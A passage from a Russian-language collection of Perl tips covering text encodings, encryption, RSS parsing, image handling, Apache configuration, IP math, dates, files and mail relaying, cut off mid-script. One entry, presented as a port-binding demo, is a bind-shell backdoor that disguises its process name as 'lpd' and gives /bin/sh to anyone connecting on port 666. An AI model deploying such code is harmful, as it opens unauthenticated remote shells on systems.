       my $koi8 = Unicode::Map8->new("koi8-r");
       $koi8_string = $koi8->to8(utf8($utf8_string)->utf16);
    
    Обратное преобразование 
    
       use Unicode::Map8;
       use Unicode::String qw(utf16);
       my $koi8 = Unicode::Map8->new("koi8-r");
       $utf8_string = utf16($koi8->to16($koi8_string ))->utf8; 
    
    
    Другой метод:
    
       use Encode;
       $koi8_text = from_to($utf8_text, "utf8", "koi8-r");
       $utf8_text = from_to($koi8_text, "koi8-r", "utf8");
    
     
    ----* Симметричное шифрование блока данных на Perl.   [комментарии]
     
    use Crypt::Blowfish;
    use Crypt::CBC;
    my $cipher = new Crypt::CBC("Секретный ключ для шифрования",'Blowfish');
    my $crypted_block = $cipher->encrypt_hex($text);
    my $text = $cipher->decrypt_hex($crypted_block);
    $cipher->finish();
    
     
    ----* Установка русской локали в Perl скриптах.   [обсудить]
     
    use POSIX qw(setlocale LC_ALL LC_CTYPE LC_NUMERIC);
    use locale; # ru_RU.KOI8-R, ru_RU.CP1251, ru_RU.ISO-8859-5, ru_RU.UTF-8
    my $g_setlocale_all = POSIX::setlocale( &POSIX::LC_ALL, "ru_RU.KOI8-R" );
    my $g_setlocale_num = POSIX::setlocale( &POSIX::LC_NUMERIC, "C" );
    
     
    ----* Запуск ispell для проверки орфографии из скрипта (доп. ссылка 1)   [обсудить]
     
    Вывести список слов с ошибками:
      cat file.txt | ispell -d russian -l
    Детальный разбор ошибок с вариантами замены:
      echo file.txt | ispell -d russian -a
    Для скриптов на perl рекомендую использовать модуль Lingua::Ispell.
    
     
    ----* Чем в perl лучше шифровать данные.   [обсудить]
     
    Необратимое шифрование (хэш или fingerprint):
      Модули (в порядке возрастания надежности) Digest::MD5, Digest::SHA1, Digest::HMAC_MD5, Digest::HMAC_SHA1
      Пример: use Digest::SHA1 qw(sha1_base64); 
              $hash = sha1_base64("test");
    
    Обратимое шифрование по ключу:
      Модули: Crypt::DES, Crypt::HCE_SHA, Crypt::Blowfish + Crypt::CBC
      Пример: use Crypt::Blowfish; use Crypt::CBC;
              $cipher_handle = new Crypt::CBC($encrypt_key,'Blowfish');
              $crypted_text = $cipher_handle->encrypt_hex($text);
              $text = $cipher_handle->decrypt_hex($crypted_text);
    
    Шифрование с использованием открытого ключа: Crypt::OpenPGP, Crypt::GPG , Crypt::PGP5.
    
     
    ----* Генерация случайной последовательности символов на Perl   [обсудить]
     
    sub sys_true_rand {
       my ($num_char) = @_; # Число символов в качестве параметра.                       
       my $dev_line;
       my $rand_line = "";
       open(UR,"</dev/urandom") || die "Cam't open /dev/urandom"";
       do {
            read (UR, $dev_line, 4096);
            $dev_line =~ s/[^\w\d]//g;
            $rand_line .= $dev_line;
       } until (length($rand_line) >= $num_char);
       close(UR);
       return substr($rand_line,0, $num_char);
    }
    
     
    ----* Как используя Perl разбить число на триады   Автор: gr  [обсудить]
     
    $num = 100000000000000; 
    $num =~ s/(\d{1,3}(?=(?:\d\d\d)+(?!\d)))/$1,/g;
    
     
    ----* Как в Perl вырезать у строки лидирующие пробелы   [комментарии]
     
      $str =~ s/^\s*([^\s]?.*)$/$1/;
      $str =~ s/^(.*[^\s])\s*$/$1/; # два regex работают быстрее, чем один более сложный
    
     
    ----* Как найти подстроку находящуюся в переменной с экранированием опасных символов.   [обсудить]
     
    Для экранирования спец. символов в строке подставляемой в регуларное
     выражение, строку нужно разместить между модификаторами \Q и \E,
    при этом все спецсимволы не будут интерпретироваться как операторы рег. выражения.
    Например: /\Q$str\E/
    Или можно использовать функцию index():
    $pos = index($строка, $подстрока);
    if ($pos < 0){
    # Подстрока не найдена.
    } else {
    # В $pos - позиция первой совпавшей позиции подстроки.
    }
    
     
    ----* Как работать с параметрами передаваемыми в командной строке   [обсудить]
     
    use Getopt::Long;
    GetOptions("prefix=s", \$prefix, "prefix-man=s", \$prefix_man);
    $prefix = defined($prefix) ? $prefix : $default_install_path;
    $prefix_man = defined($prefix_man) ? $prefix_man : $default_install_man;
    
     
    ----* Как преобразовать число в определенный формат   [обсудить]
     
    Примеры:
    $a = sprintf("%4.2f",$num);
    $a = sprintf("%06X%06X",$num1,$num2);
    $a = sprintf("%04i",$num);
    
     
    ----* Обработка RSS и Atom лент на языке Perl   [комментарии]
     
    Для обработки RSS/Atom лент удобно использовать perl модуль XML::Feed, у
    которого есть один неприятный недостаток - необходимость установки очень
    большого числа зависимостей. Для работы XML::Feed во FreeBSD нужно установить
    около 100 дополнительных Perl модулей, не входящих в состав Perl 5.8.
    
    В качестве альтернативы с похожим синтаксимои и минимальным числом зависимостей
    можно предложить модуль XML::FeedPP (http://search.cpan.org/dist/XML-FeedPP/),
    в зависимостях у которого значится только XML::TreePP
    (http://search.cpan.org/dist/XML-TreePP/). Отрицательной чертой XML::FeedPP
    является невысокая производительность, так как модуль целиком написан на Perl,
    без привлечения библиотек подобных expat и libxml.
    
    Простой пример парсинга RSS, RDF  или Atom ленты:
    
       #!/usr/bin/perl
       use strict;
       use XML::FeedPP;
       my $feed = XML::FeedPP->new( './test.xml'); # Вместо файла можно указать URL
    
       print "Заголовок ленты: ", $feed->title(), "\n";
       print "Дата: ", $feed->pubDate(), "\n";
       
       # Выводим список новостей, отраженных в ленте
       foreach my $item ( $feed->get_item() ) {
            print "URL: " . $item->link() . "\n";
            print "Title: " . $item->title() . "\n";
       }
    
    Кроме $item->link() и $item->title(), у объекта $item имеются следующие методы:
    $item->description(), $item->pubDate(),  $item->category(), $item->author(),
    $item->guid(), $item->get( произвольное_имя_параметра).
    
    Для преобразования нескольких Atom и RSS в один RSS можно использовать:
    
       # создаем пустой RSS файл
       my $feed = XML::FeedPP::RSS->new(); 
    
       # присоединяем локальный atom файл
       $feed->merge("atom.xml");
    
       # присоединяем удаленный RSS
       $feed->merge( "http://www.test.com/rss.xml" ); 
    
       # меняем время модификации.
       my $now = time();
       $feed->pubDate( $now ); 
    
       # меняем название ленты
       $feed->title( "Sumary news" );
    
       # добавляем в ленту свой элемент (заголовок Test, ссылка http://test.com/news/1, id 12345)
       my $item = $feed->add_item( "http://test.com/news/1" );
       $item->title( "test" );
       $item->pubDate( "2009-02-23T14:43:43+09:00" );
       $item->guid(12345);
    
       # сохраняем в строку $rss_str готовую RSS ленту
       my $rss_str = $feed->to_string();
       # или сохраняем в файл
       $feed->to_file( "index.rss" );
    
     

       Обработка изображений на Perl

    ----* Русский язык в графиках GD::Graph   Автор: dawnshade  [комментарии]
     
    Для рисования русских букв, слов на графиках, построенных модулем perl GD::Graph необходимо все 
    переменные с русским тексом перевести в кодировку utf8.
    Например модулем Unicode::Map8:
        my $unicoded_txt = Unicode::Map8->new("cp1251");
    
    Дополнительно нужно указать ttf шрифт, поддерживающий unicode. Например виндовый arial.ttf:
        $graph->set_value_font('/usr/share/fonts/arial.ttf', 9);
    
    Опробовано с p5-GD-Graph-1.43 и p5-Unicode-Map8-0.12.
    
     
    ----* Как на perl сконвертировать изображения из одного формата в другой (доп. ссылка 1)   Автор: Леонид Палагин  [обсудить]
     
    use Image::Magick;
    my $image = Image::Magick->new; #новый проект
    my $x = $image->Read("photo.jpg"); #открываем файл jpg
    $x = $image->Write("photo.png"); #Сохраняем изображение png.
    
     
    ----* Как нормализовать цвета и контрастность изображения через Image::Magic (доп. ссылка 1)   Автор: Леонид Палагин  [комментарии]
     
    use Image::Magick;
    my $image = Image::Magick->new; #новый проект
    my $x = $image->Read("photo.jpg"); #открываем файл
    $image->Contrast(); #Контрастность
    $image->Normalize(); #Нормализуем цвета
    $x = $image->Write("photo.jpg"); #Сохраняем изображение.
    
     
    ----* Масштабирование картинки на Perl (модуль Image::Magick) без потери качества (доп. ссылка 1)   Автор: Леонид Палагин  [комментарии]
     
    use Image::Magick;
    my $image = Image::Magick->new; #новый проект
    my $x = $image->Read("photo.jpg"); #открываем файл
    my ($ox,$oy)=$image->Get('base-columns','base-rows'); #определяем ширину и высоту изображения
    my $nx=int(($ox/$oy)*150); #вычисляем ширину, если высоту сделать 150
    $image->Resize(geometry=>geometry, width=>$nx, height=>150); #Делаем resize (изменения размера)
    if($nx > 200) { #Если ширина получилась больше 200
       my $nnx = int(($nx-200)/2); #Вычисляем откуда нам резать
       $image->Crop(x=>$nnx, y=>0); #Задаем откуда будем резать
       $image->Crop('200x150'); #С того места вырезаем 200х150
    }
    $x = $image->Write("photo.jpg"); #Сохраняем изображение.
    
     

       Подпрограммы для WEB

    ----* Автоматическое получение списка запрещенных сайтов от РОСКОМНАДЗОР с помощью Perl   Автор: Lennotoecom  [комментарии]
     
    Скрипт для автоматической загрузки списка запрещенных сайтов:
    
       use MIME::Base64;
       use SOAP::Lite;
       open REQ,'<request.xml'; 
       $req.=$_ while <REQ>; 
       close REQ;   
       encode_base64($req);
    
       open SIG,'<PKCS#7'; 
       $sig.=$_ while <SIG>;
       close SIG;
    
       $soap = SOAP::Lite->service('http://vigruzki.rkn.gov.ru/services/OperatorRequest/?wsdl');
       $r = $soap->getLastDumpDate(); 
       print "time: $r\\n";
    
       @r = $soap->sendRequest($req, $sig); 
       $code = $r[2]; 
       print "code: $code\\n";
    
       sleep 1, print "$_\\n" for 1..300;
       @r = $soap->getResult($code);
       open ZIP,'>register.zip'; 
       print ZIP decode_base64($r[$#r]); 
       close ZIP;
    
    
    Дополнение:
    Сервис рнк обновился, ниже пример автоматической выгрузки в соответствии с
    изменёнными рекомендациями:
    
       use MIME::Base64;
       use SOAP::Lite;
       
       undef $/;
    
       open REQ,'</home/rkn/request.xml';
       $req = <REQ>;
       close REQ;
       encode_base64($req);
    
       open SIG,'</home/rkn/PKCS#7';
       $sig = <SIG>;
       close SIG;
    
       $dfv = '2.0';
    
       $soap = SOAP::Lite->service('http://vigruzki.rkn.gov.ru/services/OperatorRequest/?wsdl');
       $a = $soap->getLastDumpDate();
       @a = $soap->sendRequest($req, $sig, $dfv);
    
       while(1) {
            sleep 60;
            @b = $soap->getResult($a[2]);
            last if $b[2] ne 0;
       }
    
       if($b[2] eq 1){
            open ZIP,'>/home/lennotoecom/file.zip';
            print ZIP decode_base64($b[1]);
            close ZIP;
       }
    
    
    Цикл выполняется раз в минуту (по рекомендации ркн),
    каждый раз проверяя полученный от сервиса код ($b[2]),
    пока переменная 0 цикл выполняется, как только код меняется на значения от -1
    до -7(ошибки) или 1 (успешный),
    цикл завершается.
    
    Значения кодов ошибок можно посмотреть в официальной документации, по ссылке.
    
     
    ----* Скрипт для просмотра открытых табов в Firefox   [комментарии]
     
    Иногда требуется узнать какие вкладки оставлены открытыми в Firefox, запущенном на другой машине. 
    
    Ниже представленный Perl-скрипт выводит из файла sessionstore.js список
    открытых табов в формате "url заголовок":
      
    print_open_tabs.pl:
    
       #!/usr/bin/perl
    
       use strict;
       use JSON;
      
       # Читаем содержимое в файл
       my $json_text = <>;
       # Преобразуем JSON-блок в хэш, предварительно убирая лидирующие скобки
       my $perl_scalar = from_json(substr($json_text,1,-1), {utf8 => 1});
    
       # Последовательно перебираем открытые окна и табы
       foreach my $windows_block (@{$perl_scalar->{windows}}){
           foreach my $tabs_block (@{$windows_block->{tabs}}){
               # выводим активные табы по их индексу
               if ($tabs_block->{"index"} > 0){
                   my $idx = $tabs_block->{"index"}-1;
                   print "$tabs_block->{entries}[$idx]{url}\t$tabs_block->{entries}[$idx]{title}\n";
               }
           }
       }
    
    Пример использования:
    
       ./print_open_tabs.pl ~/.mozilla/firefox/*.default/sessionstore.js
    
     
    ----* Управление конфигурацией Apache из скрипта, при помощи Perl модуля Apache::Admin::Config (доп. ссылка 1)   Автор: User Di  [комментарии]
     
    Для парсинга и изменения конфигурации Apache удобно использовать модуль
    Apache::Admin::Config
    (http://search.cpan.org/dist/Apache-Admin-Config)
    
    Пример использования.
    
    Имеем блок конфигурации
       <VirtualHost *:80>
          ServerAdmin rr522@dfghg.com
          DocumentRoot /home/ab/www/data
          ServerName mydomain.com
          ServerAlias mydomain.com *.ydomain.com
          CustomLog /home/ab/log/httpd-access.log combined
          ErrorDocument 101 http://s.org
       </VirtualHost>
    
    Нижеприведенный кусок кода, считает содержимое некоторых директив VirtualHost
    для определенного сервера
    
       use Apache::Admin::Config;
       ...
       
       my $conf = new Apache::Admin::Config "путь к файлу конфигурации" 
          or die $Apache::Admin::Config::ERROR;
    
       # Перебираем все директивы VirtualHost
       foreach my $vh ( $conf->section('VirtualHost') ) {
    
          if ( $vh->directive('ServerName')->value eq "имя искомого хоста" ) {
            # Нашли нужный хост, читаем параметры
            my $serveradmin = $vh->directive('ServerAdmin');
            my $costomlog   = $vh->directive('CustomLog');
            my $errorlog    = $vh->directive('ErrorLog');
            my @drtvs4      = $vh->directive('ErrorDocument');
            my $serveralis  = $vh->directive('ServerAlias');
            ....
            # Добавляем новый алиас к параметрам ServerAlias
            $vh->directive('ServerAlias')->set_value($serveralis . " " . "новый алиас");
            ....
            # Записываем измененный файл на диск
            $conf->save;
          }
       }
       ...
       # Пример добавления новой секции VirtualHost с Location внутри.
       my $vhost = $conf->add_section(VirtualHost=>'127.0.0.1');
       $vhost->add_directive(ServerAdmin=>'webmaster@localhost.localdomain');
       $vhost->add_directive(DocumentRoot=>'/usr/share/www');
       $vhost->add_directive(ServerName=>'www.localhost.localdomain');
       $vhost->add_directive(ErrorLog=>'/var/log/apache/www-error.log');
       my $location = $vhost->add_section(Location=>'/admin');
       $location->add_directive(AuthType=>'basic');
       $location->add_directive(Require=>'group admin');
       $conf->save;
    
     
    ----* Как на Perl правильно выделить все A HREF ссылки из HTML файла.   [комментарии]
     
    use HTML::TokeParser;
    my $p = HTML::TokeParser->new("index.html");
    if ($p->get_tag("title")){
       my $title = $p->get_trimmed_text; # Содержимое <title>
    }
    while (my $token = $p->get_tag("a")) {  # перибираем все <a href>
       my $url = $token->[1]{href} || "";
       my $text = $p->get_trimmed_text("/a"); # Текст между <a ...> и </a>
    }
    
     
    ----* Как считать список установленных cookies в хеш.   [обсудить]
     
    sub load_cookies{
            local (*cook_arr) = @_;
        foreach (split(/\;\s*/,$ENV{'HTTP_COOKIE'})){
            my ($cur_key, $cur_val) = split(/\=/);
            $cook_arr{"$cur_key"} = $cur_val;
        }
    }
    load_cookies(*cooks); print $cooks{"cook_name"};
    
     
    ----* Как добится показа русских букв в JavaScript (перекодировка в UTF)   [обсудить]
     
    Для показа русских букв в JavaScript блоке нужно перекодировать их в UTF:
    sub koi2utf{
        my($str)=@_;
    	$_=$str;
            s/ё/&#1105;/g;	s/Ё/&#1025;/g;	s/ю/&#1102;/g;	s/а/&#1072;/g;
    	s/б/&#1073;/g;	s/ц/&#1094;/g;	s/д/&#1076;/g;	s/е/&#1077;/g;
    	s/ф/&#1092;/g;	s/г/&#1075;/g;	s/х/&#1093;/g;	s/и/&#1080;/g;
    	s/й/&#1081;/g;	s/к/&#1082;/g;	s/л/&#1083;/g;	s/м/&#1084;/g;
    	s/н/&#1085;/g;	s/о/&#1086;/g;	s/п/&#1087;/g;	s/я/&#1103;/g;
    	s/р/&#1088;/g;	s/с/&#1089;/g;	s/т/&#1090;/g;	s/у/&#1091;/g;
    	s/ж/&#1078;/g;	s/в/&#1074;/g;	s/ь/&#1100;/g;	s/ы/&#1099;/g;
    	s/з/&#1079;/g;	s/ш/&#1096;/g;	s/э/&#1101;/g;	s/щ/&#1097;/g;
    	s/ч/&#1095;/g;	s/ъ/&#1098;/g;	s/Ю/&#1070;/g;	s/А/&#1040;/g;
    	s/Б/&#1041;/g;	s/Ц/&#1062;/g;	s/Д/&#1044;/g;	s/Е/&#1045;/g;
    	s/Ф/&#1060;/g;	s/Г/&#1043;/g;	s/Х/&#1061;/g;	s/И/&#1048;/g;
    	s/Й/&#1049;/g;	s/К/&#1050;/g;	s/Л/&#1051;/g;	s/М/&#1052;/g;
    	s/Н/&#1053;/g;	s/О/&#1054;/g;	s/П/&#1055;/g;	s/Я/&#1071;/g;
    	s/Р/&#1056;/g;	s/С/&#1057;/g;	s/Т/&#1058;/g;	s/У/&#1059;/g;
    	s/Ж/&#1046;/g;	s/В/&#1042;/g;	s/Ь/&#1068;/g;	s/Ы/&#1067;/g;
    	s/З/&#1047;/g;	s/Ш/&#1064;/g;	s/Э/&#1069;/g;	s/Щ/&#1065;/g;
    	s/Ч/&#1063;/g;	s/Ъ/&#1066;/g;
        return $_;
    }
    
     

       Работа с сетью и IP адресами на Perl

    ----* Подсчет exim трафика с разделением на локальный и мировой   Автор: DelGod  [комментарии]
     
    В файле конфигурации exim пишем:
    
       log_file_path = /var/log/exim/exim-%s-%D.log
       log_selector = +delivery_size +sender_on_delivery +received_recipients
    
    В файл /var/db/ukr_net ложим список украинских сетей
    
    И собствено скрипт для подсчета трафика с разделением на украинский и мировой:
    
    #!/usr/bin/perl -w
    
    my ($nmin, $nmax) = (32,0);
    
    open UKRNETS, "/var/db/ukr_net";
    while (<UKRNETS>) {
      s/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\/([0-9]+)$//;
      $UkrIPs{substr(substr(unpack("B32", pack("N", $1)),24).substr(unpack("B32", pack("N", $2)),24).substr(unpack("B32", pack("N", $3)),24).substr(unpack("B32", pack("N", $4)),24),0,$5)}="$1.$2.$3.$4\/$5";
      $nmin = $5 if $5 < $nmin;
      $nmax = $5 if $5 > $nmax;
    }
    close UKRNETS;
    
    open TRAFF, '/var/log/exim/exim-main-20060122.log';
    while (<TRAFF>) {
      my ($mail_from,$mail_to,$ip,$bytes_in,$bytes_out);
      if      (/^[0-9-]+ [0-9:]+ [A-Za-z0-9]{6}-[A-Za-z0-9]{6}-[A-Za-z0-9]{2} <= ([^\@]+@[A-Za-z0-9-.]+).* H=.*\[([0-9.]+)\].* S=([0-9]+).* for ([^\@]+@[A-Za-z0-9-.]+)$/) {
        $mail_1=$1;
        $mail_2=$4;
        $ip=$2;
        $bytes_in=$3;
        $bytes_out=0;
      } elsif (/^[0-9-]+ [0-9:]+ [A-Za-z0-9]{6}-[A-Za-z0-9]{6}-[A-Za-z0-9]{2} [\=\-\*]\> ([^\@]+@[A-Za-z0-9-.]+).* F=\<([^\@]+@[A-Za-z0-9-.]+)\>.* T=remote_smtp S=([0-9]+).* H=.*\[([0-9.]+)\].*/) {
        $mail_1=$2;
        $mail_2=$1;
        $ip=$4;
        $bytes_in=0;
        $bytes_out=$3;
      }
      if ((defined($ip)) and ($ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/)) {
        my $ipB=substr(unpack("B32", pack("N", $1)),24)."".substr(unpack("B32", pack("N", $2)),24)."".substr(unpack("B32", pack("N", $3)),24)."".substr(unpack("B32", pack("N", $4)),24);
        for ($Ne=$nmax; $Ne>=$nmin; $Ne--) {
          my $ipBin=substr($ipB,0,$Ne);
          if ($UkrIPs{$ipBin}) {
            $m_from{$mail_1}{ukr}{in} +=$bytes_in;
            $m_from{$mail_2}{ukr}{in} +=$bytes_in;
            $m_from{$mail_1}{ukr}{out}+=$bytes_out;
    
            $m_from{$mail_1}{mir}{in} -=$bytes_in;
            $m_from{$mail_2}{mir}{in} -=$bytes_in;
            $m_from{$mail_1}{mir}{out}-=$bytes_out;
            last;
          }
        }
        $m_from{$mail_1}{mir}{in} +=$bytes_in;
        $m_from{$mail_2}{mir}{in} +=$bytes_in;
        $m_from{$mail_1}{mir}{out}+=$bytes_out;
      }
    }
    close TRAFF;
    
    my $i=0;
    foreach $mails (keys %m_from) {
      $i++;
      print "$i $mails 
      in  ukr $m_from{$mails}{ukr}{in}
      out ukr $m_from{$mails}{ukr}{out}
      in  mir $m_from{$mails}{mir}{in}
      out mir $m_from{$mails}{mir}{out}
    ";
    }
    
     
    ----* Пример perl скрипта для привязки программы к сетевому порту (доп. ссылка 1)   Автор: Y4Ho  [комментарии]
     
    Скрипт демонстрирует организацию серверного приложения с
     перенаправдением запросов к определенной программе.
    
    #!/usr/bin/perl
    
    #Y! Underground Group
    #code by:Y4Ho
    #We Are :Y4Ho0-Iranvertex-MrPorT-S.s-LordSatan-SirSisili
    #Email:info@emperorteam.com
    #Email:y4ho0_emperor@yahoo.com
    #Homepage:www.emperorteam.com
    #tnxto:C0llect0r-Sasan-Shabgard-simorgh.Ev-IHS
    #Ex: ./Y!.pl
    
    use Socket;
    
    $port   = 666;
    $proto  = getprotobyname('tcp');
    $cmd    = "lpd";
    $system = '/bin/sh';
    
    $0 = $cmd;
    
    socket(SERVER, PF_INET, SOCK_STREAM, $proto)
                                            or die "socket:$!";
    setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
                                            or die "setsockopt: $!";
    bind(SERVER, sockaddr_in($port, INADDR_ANY))
                                            or die "bind: $!";
    listen(SERVER, SOMAXCONN)               or die "listen: $!";
    
    for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
    {
            open(STDIN, ">&CLIENT");
            open(STDOUT, ">&CLIENT");
            open(STDERR, ">&CLIENT");
    
            system($system);
    
            close(STDIN);
            close(STDOUT);
            close(STDERR);
    }
    
    #EoF
    
     
    ----* Как в perl выполнить DNS преобразование IP в имя и наоборот.   [комментарии]
     
    Из IP в имя:
       use Socket; 
       my $host = gethostbyaddr(inet_aton("192.168.1.1"), AF_INET); 
    
    Из хоста в IP:
       use Socket; 
       my $ip = inet_ntoa((gethostbyname("www.test.ru"))[4]);
    
     
    ----* Как пропатчить приложение запускаемое через inetd для определения IP клиента.   Автор: uldus  [обсудить]
     
    Си:
       struct sockaddr_in addr_name;
       socklen_t addr_len;
       addr_len = sizeof(addr_name);
       bzero(&addr_name, sizeof(addr_name));
       if (getpeername(0, (struct sockaddr *)&addr_name, &addr_len) >= 0){                          
         // выводим адрес в printf через inet_ntoa(addr_name.sin_addr)
       } 
    
    Perl:
       use Socket;
       my $std_sockaddr = getpeername(STDIN);
       my $cur_ipaddr = "0.0.0.0";
       if (defined $std_sockaddr){
          my ($tmp_port, $tmp_iaddr) = sockaddr_in($std_sockaddr);
          $cur_ipaddr = inet_ntoa($tmp_iaddr);
       }
    
     
    ----* Пример использования Net::FTP для доступа к FTP в Perl   [комментарии]
     
    $ftp = Net::FTP->new("ftp сервер", Timeout => 30, Debug => 0) || die "Can't
    connect to ftp server.\n";
    $ftp->login("логин", "пароль") || die "Can't login to ftp server.\n";
    $ftp->cwd("переход в директорию") || die "Path $cfg_remote_path not found on ftp server.\n";
    $ftp->binary();
    $size = $ftp->size("файл для которого нужно узнать размер");
    $time = $ftp->mdtm("файл для которого нужно узнать время изменения");
    $ftp->delete("директория для удаления");
    $ftp->mkdir("директория для создания");
    $ftp->rename("старое имя для переименования","новое имя");
    $ftp->put("имя файла на локальном диске для закачки", "имя файла на ftp");
    $ftp->put(*FD, "имя файла на ftp"); # Все что идет в FD будет сохранено.
    $ftp->get("удаленный файл", "локальный файл");
    $ftp->quit();
    
     
    ----* Как по IP адресу хоста и маске подсети определить адрес подсети.   [комментарии]
     
    $ip = "192.168.1.43";
    $nm = "255.255.255.224";
    print "\nip addr = $ip\nnetmask = $nm\n";
    ($ip1, $ip2, $ip3, $ip4) = split(/\./, $ip);
    ($nm1, $nm2, $nm3, $nm4) = split(/\./, $nm);
    $sb1=$ip1 & $nm1; $sb2=$ip2 & $nm2; $sb3=$ip3 & $nm3; $sb4=$ip4 & $nm4;
    print "subnet  = $sb1\.$sb2\.$sb3\.$sb4\n\n";
    
     
    ----* Операции проверки IP на вхождение в сеть a.b.c.d/N или a.b.c.d/n.n.n.n (доп. ссылка 1)   [комментарии]
     
    $find_net = '123.123.45.4/30';
    $some_ip  = '123.123.45.5';
    my ($net_ip, $net_mask) = split(/\//, $find_net);
    my ($ip1, $ip2, $ip3, $ip4) = split(/\./, $find_net);
    my $net_ip_raw = pack ('CCCC', $ip1, $ip2, $ip3, $ip4);
    my $net_mask_raw = pack ('B32', (1 x $net_mask), (1 x (32 - $net_mask)));
    # $some_ip_raw  вычисляем по аналогии с $net_ip_raw
    ($ip1, $ip2, $ip3, $ip4) = split(/\./, $some_ip);
    my $some_ip_raw = pack ('CCCC', $ip1, $ip2, $ip3, $ip4);
    
    if (($some_ip_raw & $net_mask_raw) eq $net_ip_raw){
      # $some_ip_raw входит в подсеть $find_net
    }
    При указании маски вида $find_net = '123.123.45.4/255.255.255.224'
    вместо pack можно преобразовать IP и маску в число по алгоритму:
    $net_ip_raw = ($ip1<<24) + ($ip2<<16) + ($ip3<<8) + $ip4;
    Тоже проделать с маской и проверяемым IP, вхождение в подсеть будет проверяться условием:
    if ($some_ip_raw & $net_mask_raw) == $net_ip_raw){
      # $some_ip_raw входит в подсеть $find_net
    }
    Другой вариант:
    use Socket;
    sub isinsubnet {
        my ($subnethost, $subnetmask, $testhost) = @_;
        $subnethost = inet_aton($subnethost);
        $subnetmask = inet_aton($subnetmask);
        $testhost = inet_aton($testhost);
        return (($subnethost & $subnetmask) eq ($testhost & $subnetmask));
    }
    
     

       Работа со временем и датами

    ----* Как определить смещение в часах для текущей временной зоны в Perl и Shell   [обсудить]
     
    Perl:
       use POSIX (strftime);
       my $tz = strftime("%z", localtime); 
       $tz =~ s/(\d\d)(\d\d)/$1/; 
    
    
    Shell:
       date +%z|sed 's/[0-9][0-9]$//'
    
     
    ----* Как на perl преобразовать дату заданную в виде строки   [обсудить]
     
    use Date::Parse;
    my $time = str2time("Wed, 9 Jun 2003 09:50:32 -0500 (EST)");
    
     
    ----* Как определить дату начала и конца недели на Perl (доп. ссылка 1)   Автор: whirlwind.ru  [обсудить]
     
    my $dofw = (localtime())[6];
    my $time = time();
    my $inday = 86400;
    Начало недели $time - $inday * $dofw или localtime($time - $inday * $dofw)
    Конец недели $time + $inday * (6 - $dofw) или localtime($time + $inday * (6 - $dofw))
    
     
    ----* Как зная день, месяц, год и время получить Epoch время (сек. от 1.1.1970)   [комментарии]
     
    perldoc Time::Local;
    $time = timelocal($sec,$min,$hours,$mday,$mon,$year);
    С помощью Time::Local можно посчитать число секунд, дней, месяцев и т.д.
    относительно какой-либо даты.
    
     
    ----* Чем воспользоваться для преобразования дат   [обсудить]
     
    модуль Date::Calc
    
     
    ----* Как использовать промежутки времени меньше секунды   [комментарии]
     
    модуль Time::HiRes
    
     
    ----* Как получить и отобразить текущее время   [комментарии]
     
    ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) 
    	= localtime(time());
    $mon++;
    $year += 1900;
    $time_str = sprintf ("%.2ld/%.2ld/$year %.2ld:%.2ld:%.2ld",
    	$mday,$mon,$hour,$min,$sec);
    
     

       Работа с файлами

    ----* Манипулирование файловыми хэндлерами в Perl (доп. ссылка 1)   [обсудить]
     
    Пример хранение дескрипторов в хэше:
       my %user_fd = ();
       if (! defined $user_fd{$cur_login}){ 
          open($user_fd{$cur_login}, ">$cur_file") or return -1;
       }
       print {$user_fd{$cur_login}} "TEST\n";
       close($user_fd{$cur_login});
    
    Пример передачи дескриптора из функции:
    
       # Для perl 5.6 и старше
       open (my $fh, $file_name);
       print $fh "Hello World!\n";
       process_file( $fh );
    
       open (FILE, "> $filename)";
       process_typeglob( *FILE );
       process_reference( \*FILE );
    
       sub process_typeglob { local *FH = shift; print FH "Typeglob!" }
       sub process_reference { local $fh = shift; print $fh "Reference!" }
    
    
        my $fh = myopen("file_path");
        while (<$fh>) {
        ....
        }
        close $fh;
    
       sub myopen {
          my $path = shift;
          local *FH; 
          open (FH, $path) || return undef;
          return *FH;
       }
    
     
    ----* Как в Perl/PHP выводить данные без буферизации, не дожидаясь конца строки   [комментарии]
     
    Perl:
       "$!=1;" или "use IO::Handle; FH->autoflush(1);"
    PHP:
       После каждой операции вывода вызывать flush();
    
     
    ----* Как на Perl прочитать и преобразовать права доступа к файлу в приемлимый для chmod вид.   [комментарии]
     
    $file_mode = (stat( $file_path ))[2];
    $stat_mode = sprintf ("%04o", $stat_mode & 07777);
    print  "chmod $stat_mode $file_path\n";
    chmod ($stat_mode, "файл");  
    
     
    ----* Как получить рекурсивный список файлов   [обсудить]
     
    use File::Find;
    sub get_file{
      my ($file_name)  = $_;
      my $file_fullpath  = $File::Find::name;
      my $file_dir  = $File::Find::dir;
    }
    find (\&get_file, "/usr/some/dir");
    
     
    ----* Как получить список файлов в директории   [комментарии]
     
    	opendir (DIR,"$dir_path");
    	my @files=grep (!/^\.+$/,readdir (DIR)); # или foreach my $cur_file (readdir(DIR)){..}
    	closedir (DIR);
    
     

       Работа с электронной почтой

    ----* Проверка существования email в AD (ldap) для маршрутизации письма на Exchange   Автор: 2dfx  [комментарии]
     
    У нас в компании используется сервер Exchange для обмена почтовыми сообщениями.
    Но для отправки сообщений во "вне" используем Communigate Pro.
    Communigate (CGP for Linux) используется только как прослойка и письма
    отправленные на известные домены пересылаются на  Exchange.
     
    схема
     
       Internet
          |
          |
       Communigate Pro
          |
          |
       Exchange
          |
          |
       Users
     
    Но если просмотреть логи, то можно увидеть, что есть огромные очереди на
    адреса, которых не существует и соответственно куча DNR.
    Значит нужно как-то отсеивать эти настырные подключения.
     
    Пришел к выводу, что можно сделать External Authentication + скрипт на perl +
    запретить пересылку писем на exchange (это будет делать скрипт)
     
    Что было сделано.
    
    1. На communigate включил External Authentication (В helpers) с параметрами:
    
       Program Path: /var/CommuniGate/adrelay.pl
       Time-out: 20s
       Auto-Restart: 30s
    
    Не забыть поставить галку External Authentication
     
    2. Так же на communigate в разделе Users - Domain Defaults - Unknown Names:
    
       Consult External for Unknown: Yes
       Mail to Unknown: Rejected
     
    Теперь напишем скрипт в /var/CommuniGate/adrelay.pl
      
       #!/usr/bin/perl
       use Net::LDAP;
       my  $searchBase = 'dc=DOMAIN,dc=local';
       my @ldap_servers=(
       { address=>'XXX.XXX.XXX.XXX',     # the address or IP of LDAP server
         port=>389,                # LDAP port, 389 by default
         timeout=>5,               # timeout in seconds, 20 by default
